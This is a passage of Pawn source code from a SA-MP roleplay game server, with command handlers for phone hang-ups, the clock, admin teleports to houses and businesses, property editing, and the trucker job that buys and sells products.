					CellTime[playerid] = 90;
					Mobile[CallWaiting[playerid]] = 9999;
					Mobile[playerid] = 9999;
					TimerRingTone[playerid] = 0;
					SetPlayerSpecialAction(CallWaiting[playerid], SPECIAL_ACTION_STOPUSECELLPHONE);
					RemovePlayerAttachedObject(CallWaiting[playerid], 0);
					SendMessage(CallWaiting[playerid],  COLOR_Good, "They hung up.");
					SendMessage(playerid,  COLOR_Good, "You hung up.");
					CallWaiting[playerid] = 9999;
					PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
	            ShowNokiaMenu(CallWaiting[playerid],0);
			    phoneloaded[CallWaiting[playerid]]=0;
			    CancelSelectTextDraw(CallWaiting[playerid]);
	            ShowNokiaMenu(CallWaiting[playerid],1);
			    phoneloaded[CallWaiting[playerid]]=1;
	            ShowNokiaMenu(playerid,0);
			    phoneloaded[playerid]=0;
			    CancelSelectTextDraw(playerid);
	            ShowNokiaMenu(playerid,1);
			    phoneloaded[playerid]=1;
					return 1;
			 }
			 if(caller != 9999 && CallWaiting[playerid] == 9999 && IsPlayerConnected(caller))
			 {
				if(caller < 9999)
				{
					SendMessage(caller,  COLOR_Good, "They hung up.");
					CellTime[caller] = 90;
					CellTime[playerid] = 90;
					SendMessage(playerid,  COLOR_Good, "You hung up.");
					Mobile[caller] = 9999;
					Mobile[playerid] = 9999;
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
					SetPlayerSpecialAction(caller, SPECIAL_ACTION_STOPUSECELLPHONE);
					RemovePlayerAttachedObject(caller, 0);
					RemovePlayerAttachedObject(playerid, 0);
					TimerRingTone[caller] = 0;
					PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
	            ShowNokiaMenu(caller,0);
			    phoneloaded[caller]=0;
			    CancelSelectTextDraw(caller);
	            ShowNokiaMenu(caller,1);
			    phoneloaded[caller]=1;
	            ShowNokiaMenu(playerid,0);
			    phoneloaded[playerid]=0;
			    CancelSelectTextDraw(playerid);
	            ShowNokiaMenu(playerid,1);
			    phoneloaded[playerid]=1;
					return 1;
				}
			}
			return 1;
		}
	//----------------------------------[TIME]-----------------------------------------------
	if(strcmp(cmd, "/time", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new mtext[20];
				new year, month,day;
				getdate(year, month, day);
				if(month == 1) { mtext = "January"; }
				else if(month == 2) { mtext = "February"; }
				else if(month == 3) { mtext = "March"; }
				else if(month == 4) { mtext = "April"; }
				else if(month == 5) { mtext = "May"; }
				else if(month == 6) { mtext = "June"; }
				else if(month == 7) { mtext = "July"; }
				else if(month == 8) { mtext = "August"; }
				else if(month == 9) { mtext = "September"; }
				else if(month == 10) { mtext = "October"; }
				else if(month == 11) { mtext = "November"; }
				else if(month == 12) { mtext = "December"; }
				new hour,minuite,second;
				gettime(hour,minuite,second);
				FixHour(hour);
				hour = shifthour;
				format(string, sizeof(string), "~y~%s%d %s~n~~g~|~w~%s%d:%s%d:%s%d~g~|",(day < 10) ? ("0") : (""), day, mtext,((hour < 10) ? ("0") : ("")), hour, ((minuite < 10) ? ("0") : ("")),minuite, ((second < 10) ? ("0") : ("")),second);
				GameTextForPlayer(playerid, string, 5000, 1);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				if(PlayerInfo[playerid][pSex] == 1) { format(string, sizeof(string), "%s raises his hand and looks down at his watch.", sendername); }
				else { format(string, sizeof(string), "%s raises her hand and looks down at her watch.", sendername); }
				ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
				if(!IsPlayerInAnyVehicle(playerid))
				{
				LoopingAnim(playerid,"COP_AMBIENT","Coplook_watch",4.1,0,0,0,0,0);
				}
				else { return 1; }
			}
			return 1;
		}
	//----------------------{HOUSES}-------------------
		if(strcmp(cmd, "/gotohouse", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 7 || PlayerInfo[playerid][pSponser] == 1)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /gotohouse <HouseNumber>");
						return 1;
					}
					new housenum = strval(tmp);
					if(housenum >= sizeof(HouseInfo)) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid house id.");
			  GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
					SetPlayerInterior(playerid,HouseInfo[housenum][hInt]);
					SetPlayerVirtualWorld(playerid,HouseInfo[housenum][hWorld]);
					SetPlayerPos(playerid,HouseInfo[housenum][hEntrancex],HouseInfo[housenum][hEntrancey],HouseInfo[housenum][hEntrancez]);
					GameTextForPlayer(playerid, "~w~Teleporting", 5000, 1);
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s has teleported to house #%d.",admname, housenum);
					ABroadCast(COLOR_AdminWarn,string,5);
					TooHouse[playerid] = 9999;
					TooHouse[playerid] = housenum;
					Mahal[playerid] = 9999;
					Mahal[playerid] = 3;
					TooBiz[playerid] = 9999;
					FreezePlayer(playerid);
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/houseo", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 5)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Houseo <HouseNumber>");
						return 1;
					}
					new housenum = strval(tmp);
					SetPlayerPos(playerid,HouseInfo[housenum][hExitx],HouseInfo[housenum][hExity],HouseInfo[housenum][hExitz]);
					GameTextForPlayer(playerid, "~w~Teleporting", 5000, 1);
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s goes to House ID %d.",admname, housenum);
					ABroadCast(COLOR_AdminWarn,string,5);
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/gotobiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 7 || PlayerInfo[playerid][pSponser] == 1)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /gotobiz <BizNumber>");
						return 1;
					}
					new housenum = strval(tmp);
					if(housenum >= sizeof(BizzInfo)) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid business id.");
			  GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
					SetPlayerInterior(playerid,BizzInfo[housenum][bInterior]);
					SetPlayerPos(playerid,BizzInfo[housenum][bExitX],BizzInfo[housenum][bExitY],BizzInfo[housenum][bExitZ]);
					SetPlayerVirtualWorld(playerid,BizzInfo[housenum][bVW]);
					GameTextForPlayer(playerid, "~w~Teleporting", 5000, 1);
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s has teleported to biz #%d.",admname, housenum);
					ABroadCast(COLOR_AdminWarn,string,5);
		TooBiz[playerid] = 9999;
		TooBiz[playerid] = housenum;
		TooHouse[playerid] = 9999;
		Mahal[playerid] = 9999;
		Mahal[playerid] = 15;
		FreezePlayer(playerid);
				}
			}
			return 1;
		}
			if(strcmp(cmd, "/findbiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{

					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Findbiz <BizID>");
						return 1;
					}
					if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
					new housenum = strval(tmp);
					if(housenum >= sizeof(BizzInfo)) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid business id.");
					SetPlayerCheckpoint(playerid,BizzInfo[housenum][bEntranceX],BizzInfo[housenum][bEntranceY],BizzInfo[housenum][bEntranceZ],3.0);
//					new string[1020];
					format(string, sizeof(string), "Goto Checkpoint For Biz : %s (%d). Use /cancel checkpoint For Delete Checkpoint.",BizzInfo[housenum][bMessage],housenum);
					SendMessage(playerid, COLOR_HOUSE, string);
					OnCheckpoint[playerid] = 1;
					CP[playerid] = 9922555;
			}
			return 1;
		}
			if(strcmp(cmd, "/findsbiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{

					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Findsbiz <SBizID>");
						return 1;
					}
					if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
					new housenum = strval(tmp);
					if(housenum >= sizeof(SBizzInfo)) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid special business id.");
					SetPlayerCheckpoint(playerid,SBizzInfo[housenum][sbEntranceX],SBizzInfo[housenum][sbEntranceY],SBizzInfo[housenum][sbEntranceZ],3.0);
//					new string[1021];
					format(string, sizeof(string), "Goto Checkpoint For Special Biz : %s (%d). Use /cancel checkpoint For Delete Checkpoint.",SBizzInfo[housenum][sbMessage],housenum);
					SendMessage(playerid, COLOR_HOUSE, string);
					OnCheckpoint[playerid] = 1;
					CP[playerid] = 9922555;
			}
			return 1;
		}
			if(strcmp(cmd, "/findhouse", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{

					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /findhouse <HouseID>");
						return 1;
					}
					if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
					new housenum = strval(tmp);
					if(housenum >= sizeof(HouseInfo)) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid house id.");
					SetPlayerCheckpoint(playerid,HouseInfo[housenum][hExitx],HouseInfo[housenum][hExity],HouseInfo[housenum][hExitz],3.0);
//					new string[1022];
					format(string, sizeof(string), "Goto Checkpoint For House ID : %d. Use /cancel checkpoint For Delete Checkpoint.",housenum);
					SendMessage(playerid, COLOR_HOUSE, string);
					OnCheckpoint[playerid] = 1;
					CP[playerid] = 9922555;

			}
			return 1;
		}
		if(strcmp(cmd, "/gotosbiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 7 || PlayerInfo[playerid][pSponser] == 1)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /gotosbiz <BizNumber>");
						return 1;
					}
					new housenum = strval(tmp);
					if(housenum >= sizeof(SBizzInfo)) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid special business id.");
			  GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
					SetPlayerPos(playerid,SBizzInfo[housenum][sbEntranceX],SBizzInfo[housenum][sbEntranceY],SBizzInfo[housenum][sbEntranceZ]);
					GameTextForPlayer(playerid, "~w~Teleporting", 5000, 1);
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s has teleported to sbiz #%d.",admname, housenum);
					ABroadCast(COLOR_AdminWarn,string,5);
					//FreezePlayer(playerid);
				}
			}
			return 1;
		}
		//--------------[Edit Command] -----------------------------------------------------------
		if(strcmp(cmd, "/edit", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 12)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				new x_job[256];
				x_job = strtok(cmdtext, idx);
				if(!strlen(x_job)) {
					SendMessage(playerid, CRISTIAN, "|__________________ <Edit> __________________|");
					SendMessage(playerid, COL_SYN, "Syntax: /edit <Name> <Amount>");
					SCM(playerid,COLOR_MAMAD,"Available Names for house: Price,Level,HealthUpgrade(Amount: On/Off),RentPrice,Rentable(Amount: On/Off),ForoshPrice");
					SCM(playerid,COLOR_MAMAD,"Available Names for businesses: Price,Level,EntrancePrice,ProdPrice,Prods");
					SendMessage(playerid, CRISTIAN, "|____________________________________________|");
					return 1;
				}
				new Amountt[512];
				Amountt = strtok(cmdtext, idx);
				if(!strlen(Amountt))
				{
					SendMessage(playerid, CRISTIAN, "|__________________ <Edit> __________________|");
					SendMessage(playerid, COL_SYN, "Syntax: /edit <Name> <Amount>");
					SCM(playerid,COLOR_MAMAD,"Available Names for house: Price,Level,HealthUpgrade(Amount: On/Off),RentPrice,Rentable(Amount: On/Off),ForoshPrice");
					SCM(playerid,COLOR_MAMAD,"Available Names for businesses: Price,Level,EntrancePrice,ProdPrice,Prods");
					SendMessage(playerid, CRISTIAN, "|____________________________________________|");
					return 1;
				}
				new proplev = strval(Amountt);
				for(new i = 0; i < sizeof(HouseInfo); i++)
				{
					if (PlayerToPoint(3, playerid,HouseInfo[i][hExitx], HouseInfo[i][hExity], HouseInfo[i][hExitz]))
					{
						format(string, sizeof(string), "House: %d", i);
						SendMessage(playerid, COLOR_GRAD2, string);
						if(proplev > 0)
						{
							if(strcmp(x_job,"level",true) == 0)
							{
								HouseInfo[i][hLevel] = proplev;
								SaveKonValH(i, "hLevel", proplev);
								new strr[512];
								CustomPickups();
						  format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
						  ABroadCast(COLOR_AdminWarn,strr,1);
							}
							else if(strcmp(x_job,"price",true) == 0)
							{
								HouseInfo[i][hValue] = proplev;
								SaveKonValH(i, "hValue", proplev);
								new strr[512];
								CustomPickups();
						  format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
						  ABroadCast(COLOR_AdminWarn,strr,1);
							}
							else if(strcmp(x_job,"Rentprice",true) == 0)
							{
								HouseInfo[i][hRent] = proplev;
								SaveKonValH(i, "hRent", proplev);
								new strr[512];
								CustomPickups();
						  format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
						  ABroadCast(COLOR_AdminWarn,strr,1);
							}
							else if(!strcmp(x_job,"HealthUpgrade",true))
							{
								if(!strcmp(Amountt,"On",true))
								{
									HouseInfo[i][hHel] = 1;
									SaveKonValH(i, "hHel", 1);
									new strr[512];
									CustomPickups();
							 format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
							 ABroadCast(COLOR_AdminWarn,strr,1);
								}
								else if(!strcmp(Amountt,"Off",true))
								{
									HouseInfo[i][hHel] = 0;
									SaveKonValH(i, "hHel", 0);
									new strr[512];
									CustomPickups();
							 format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
							 ABroadCast(COLOR_AdminWarn,strr,1);
								}
								else return SendMessage(playerid, COL_SYN, "Syntax: /edit HealthUpgrade <On/Off>");
							}
							else if(!strcmp(x_job,"Rentable",true))
							{
								if(!strcmp(Amountt,"On",true))
								{
									HouseInfo[i][hRentabil] = 1;
									SaveKonValH(i, "hRentabil", 1);
									new strr[512];
									CustomPickups();
							 format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
							 ABroadCast(COLOR_AdminWarn,strr,1);
								}
								else if(!strcmp(Amountt,"Off",true))
								{
									HouseInfo[i][hRentabil] = 0;
									SaveKonValH(i, "hRentabil", 0);
									new strr[512];
									CustomPickups();
							 format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
							 ABroadCast(COLOR_AdminWarn,strr,1);
								}
								else return SendMessage(playerid, COL_SYN, "Syntax: /edit Rentable <On/Off>");
							}
							else if(strcmp(x_job,"ForoshPrice",true) == 0)
							{
								if(HouseInfo[i][hOwned] != 2) return SCM(playerid,COLOR_SINA3,"This house isn't for sell to set ForoshPrice.");
								HouseInfo[i][hForosh] = proplev;
								SaveKonValH(i, "hForosh", proplev);
								new strr[512];
								CustomPickups();
						  format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited House ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
						  ABroadCast(COLOR_AdminWarn,strr,1);
							}
							else
							{
								SendMessage(playerid, CRISTIAN, "|__________________ <Edit> __________________|");
								SendMessage(playerid, COL_SYN, "Syntax: /edit <Name> <Amount>");
								SCM(playerid,COLOR_MAMAD,"Available Names for house: Price,Level,HealthUpgrade(Amount: On/Off),RentPrice,Rentable(Amount: On/Off),ForoshPrice");
								SCM(playerid,COLOR_MAMAD,"Available Names for businesses: Price,Level,EntrancePrice,ProdPrice,Prods");
								SendMessage(playerid, CRISTIAN, "|____________________________________________|");
								return 1;
							}
						}
					}
				}
				for(new i = 0; i < sizeof(BizzInfo); i++)
				{
					if (PlayerToPoint(3, playerid,BizzInfo[i][bEntranceX], BizzInfo[i][bEntranceY], BizzInfo[i][bEntranceZ]))
					{
						format(string, sizeof(string), "Biz: %d", i);
						SendMessage(playerid, COLOR_GRAD2, string);
						if(proplev > 0)
						{
							if(strcmp(x_job,"level",true) == 0)
							{
								BizzInfo[i][bLevelNeeded] = proplev;
							}
							else if(strcmp(x_job,"price",true) == 0)
							{
								BizzInfo[i][bBuyPrice] = proplev;
							}
							else if(strcmp(x_job,"EntrancePrice",true) == 0)
							{
								BizzInfo[i][bEntranceCost] = proplev;
							}
							else if(!strcmp(x_job, "PriceProd", true))
							{
								BizzInfo[i][bPriceProd] = proplev;
							}
							else if(!strcmp(x_job, "Prods", true))
							{
								BizzInfo[i][bProducts] = proplev;
							}
							OnBizUpdate(i);
							CustomPickups();
							new strr[512];
						  format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited Biz ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
						  ABroadCast(COLOR_AdminWarn,strr,1);
						}
					}
				}
				for(new i = 0; i < sizeof(SBizzInfo); i++)
				{
					if (PlayerToPoint(3, playerid,SBizzInfo[i][sbEntranceX], SBizzInfo[i][sbEntranceY], SBizzInfo[i][sbEntranceZ]))
					{
						format(string, sizeof(string), "SBiz: %d", i);
						SendMessage(playerid, COLOR_GRAD2, string);
						if(proplev > 0)
						{
							if(strcmp(x_job,"level",true) == 0)
							{
								SBizzInfo[i][sbLevelNeeded] = proplev;
							}
							else if(strcmp(x_job,"price",true) == 0)
							{
								SBizzInfo[i][sbBuyPrice] = proplev;
							}
							else if(strcmp(x_job,"EntrancePrice",true) == 0)
							{
								SBizzInfo[i][sbEntranceCost] = proplev;
							}
							else if(!strcmp(x_job, "PriceProd", true))
							{
								SBizzInfo[i][sbPriceProd] = proplev;
							}
							else if(!strcmp(x_job, "Prods", true))
							{
								SBizzInfo[i][sbProducts] = proplev;
							}
							OnSbizUpdate(i);
							CustomPickups();
							new strr[512];
						  format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has been just edited SBiz ID %d's %s to %s.", PINFO[playerid][pName], i, x_job, Amountt);
						  ABroadCast(COLOR_AdminWarn,strr,1);
						}
					}
				}
				format(string, sizeof(string), "You've adjusted the: %s.", x_job);
				SendMessage(playerid, COLOR_WHITE, string);

			}
			return 1;
		}
	//-------------------------------------------------------------------------------------
		if(strcmp(cmd, "/load", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new tmpcar = GetPlayerVehicleID(playerid);
				if(tmpcar < 98 || tmpcar > 101)
				{
					GameTextForPlayer(playerid, "~r~You are not in a delivery truck", 5000, 1);
					return 1;
				}
				format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
				SCM(playerid, TEAM_GroveStreet_COLOR, string);
			}
			return 1;
		}
		if(strcmp(cmd, "/buyprods", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new tmpcar = GetPlayerVehicleID(playerid);
				new compcost = 2;
				if(PlayerToPoint(80.0, playerid, 2467.7920,-2090.7026,13.5469))
				{
				if(tmpcar >=98 && tmpcar <= 101)
					{
						if(PlayerHaul[tmpcar][pLoad] < PlayerHaul[tmpcar][pCapasity])
						{
							new amount;
							tmp = strtok(cmdtext, idx);
							if(!strlen(tmp))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Buyprods <Amount>");
								return 1;
							}
							amount = strval(tmp);
							if(amount < 1 || amount > 500) { SendMessage(playerid, COLOR_GREY, "   Can't buy less then 1 Product or more than 500!"); return 1; }
							new check= PlayerHaul[tmpcar][pLoad] + amount;
							if(check > PlayerHaul[tmpcar][pCapasity])
							{
								format(string, sizeof(string), "   You went over the Truck Products Carry Limit of %d, you currently carry %d.",PlayerHaul[tmpcar][pCapasity],PlayerHaul[tmpcar][pLoad]);
								SendMessage(playerid, COLOR_GREY, string);
								return 1;
							}
							new cost = amount*compcost;
							if(GetPlayerPool(playerid) >= cost)
							{
								PlayerHaul[tmpcar][pLoad] += amount;
								format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								format(string, sizeof(string), "You bought %d Products for $%s.", amount,FormatNumber(cost));
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								GivePlayerPool(playerid,-cost);
								PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
								//SBizzInfo[12][sbTill] += cost;//prods buisness
								//ExtortionSBiz(12, 100);
								return 1;
							}
							else
							{
								format(string, sizeof(string), "You cant afford %d Products at $%ds", amount,FormatNumber(cost));
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								return 1;
							}
						}
						else
						{
								format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								return 1;
						}
					}
					else
					{
						SendMessage(playerid, TEAM_GroveStreet_COLOR, "This Vehicle does not deliver Products or you are not in a vehicle.");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "You are not in trucker place.");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/sellprods", true) == 0)
		{
			new cashmade = 3;
			new tmpcar;
			if(IsPlayerConnected(playerid))
			{
				tmpcar = GetPlayerVehicleID(playerid);
				if(tmpcar < 98 || tmpcar > 101)
				if(!IsATruck(tmpcar))
				{
					GameTextForPlayer(playerid, "~r~You are not in a delivery truck", 5000, 1);
					return 1;
				}
				if(PlayerHaul[tmpcar][pLoad] == 0)
				{
					GameTextForPlayer(playerid, "~r~Truck is empty, return to the stock house", 5000, 1);
					format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
					SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
					return 1;
				}
				for(new i = 0; i < sizeof(BizzInfo); i++)
				{
					if (PlayerToPoint(10, playerid,BizzInfo[i][bEntranceX], BizzInfo[i][bEntranceY], BizzInfo[i][bEntranceZ]))
					{
						for(new l = PlayerHaul[tmpcar][pLoad]; l > 0; l--)
						{
							if(BizzInfo[i][bProducts] == BizzInfo[i][bMaxProducts])
							{
							new cashnot = 0;
								GameTextForPlayer(playerid, "~r~Our stores are full", 5000, 1);
								format(string, sizeof(string), "Cash Earned $%s.", FormatNumber(cashnot));
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
								return 1;
							}
							if(cashmade > BizzInfo[i][bTill])
							{
							new cashnot = 0;
								GameTextForPlayer(playerid, "~r~We Cant Afford The Deal", 5000, 1);
								format(string, sizeof(string), "Cash Earned $%s.",FormatNumber(cashnot));
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
								return 1;
							}
							PlayerHaul[tmpcar][pLoad]--;
							BizzInfo[i][bProducts]++;
							GivePlayerPool(playerid,cashmade);
							BizzInfo[i][bTill] -= cashmade;
      						format(string, sizeof(string), "Cash Earned $%s.", FormatNumber(cashmade));
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							if(PlayerHaul[tmpcar][pLoad] == 0)
							{
							new cashnot = 0;
								GameTextForPlayer(playerid, "~r~Truck is empty, return to the stock house", 5000, 1);
								format(string, sizeof(string), "Cash Earned $%s.", FormatNumber(cashnot));
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
								SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
								PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
								return 1;
							}
						}
						OnBizUpdate(i);
						return 1;
					}
				}
			}
			for(new i = 0; i < sizeof(SBizzInfo); i++)
			{
				if (PlayerToPoint(10, playerid,SBizzInfo[i][sbEntranceX], SBizzInfo[i][sbEntranceY], SBizzInfo[i][sbEntranceZ]))
				{
					//printf("Found House :%d",i);
					for(new l = PlayerHaul[tmpcar][pLoad]; l > 0; l--)
					{
						if(SBizzInfo[i][sbProducts] == SBizzInfo[i][sbMaxProducts])
						{
							GameTextForPlayer(playerid, "~r~Our stores are full", 5000, 1);
							format(string, sizeof(string), "Cash Earned $%s.", FormatNumber(cashmade));
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							return 1;
						}
						if(SBizzInfo[i][sbPriceProd] > SBizzInfo[i][sbTill])
						{
							GameTextForPlayer(playerid, "~r~We Cant Afford The Deal", 5000, 1);
							format(string, sizeof(string), "Cash Earned $%s.", FormatNumber(cashmade));
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							return 1;
						}
						PlayerHaul[tmpcar][pLoad]--;
						SBizzInfo[i][sbProducts]++;
						cashmade = cashmade+SBizzInfo[i][sbPriceProd];
						GivePlayerPool(playerid,SBizzInfo[i][sbPriceProd]);
						SBizzInfo[i][sbTill] -= SBizzInfo[i][sbPriceProd];
						if(PlayerHaul[tmpcar][pLoad] == 0)
						{
							GameTextForPlayer(playerid, "~r~Truck is empty, return to the stock house", 5000, 1);
							format(string, sizeof(string), "Cash Earned $%s.", FormatNumber(cashmade));
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							format(string, sizeof(string), "Products: %d/%d.", PlayerHaul[tmpcar][pLoad],PlayerHaul[tmpcar][pCapasity]);
							SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
							return 1;
						}
					}
					OnSbizUpdate(i);
					return 1;
				}
			}
			GameTextForPlayer(playerid, "~r~To Far From A Business", 5000, 1);
			return 1;
		}
	//----------------------------------[BIZZ]-----------------------------------------------
		if(strcmp(cmd, "/buybiz", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new biz = PINFO[playerid][pPbiskey];
			if(biz != 9999) return SCM(playerid,COL_SYN,"You already have a business.");
			if(PINFO[playerid][pNCard]==0) return Error(playerid, "Error: You must have national card to continue.")
			new level = PINFO[playerid][pLevel];
			for(new i = 0;i<sizeof BizzInfo;i++)
			{
				if(IsPlayerInRangeOfPoint(playerid,3.0,BizzInfo[i][bEntranceX],BizzInfo[i][bEntranceY],BizzInfo[i][bEntranceZ]))
				{
